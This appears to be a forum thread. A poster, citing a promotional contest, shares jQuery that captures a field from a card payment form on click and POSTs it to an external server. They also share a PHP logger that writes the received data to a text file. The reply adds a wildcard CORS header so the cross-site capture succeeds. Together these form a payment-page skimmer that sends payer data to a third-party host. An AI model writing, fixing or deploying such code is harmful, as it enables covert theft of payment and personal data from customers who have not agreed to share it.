I am helping develop a temporary site that will be redirect payments to openpay for proper bank validation but I need to take payer info and redirect it to a different server to then from those users (within two weeks) select one for a contest. This is part of a promotion campaign for a small business. What I want to do is take the payer information when they hit pay and have that information sent to my remote server but so far I haven't been able to capture the data. Here is the js script I put together to capture the data:
<script type="text/javascript">
$("#fm_pay\\:make_payment_button").click(function() {
var name_of_customer = $('data-openpay-card="name_of_customer"').val();
//console.log(data);
$.ajax({
type: "POST",
beforeSend: function (xhr, opts) {
if (name_of_customer == "") { xhr.abort(); }
}, //close beforesend
url: "http://external.server/the.php",
dataType: "json",
data: {name_of_customer:name_of_customer},
});
});
</script>
This is what is on the main site taking in payments:
<div class="row">
<div class="col-md-12">
<div class="form-group form-group-lg">
<label for="">Cardholder name <label for="" class="text-red text-bold">*</label></label>
<input type="text" class="form-control" placeholder="as it appears on the card" data-openpay-card="holder_name">
</div>
</div>
And finally here is what i have on my remote server taking in data:
<?php
$name_of_customer = $_POST['name_of_customer'];
$sep = "==================================================
Name: $name_of_customer
==================================================
";
$file = fopen("contest.txt", "a+");
fwrite($file, $sep.PHP_EOL);
fclose($file);
?>
Thanks! Any help is welcomed!
add this in your php file:
header("access-control-allow-origin: *");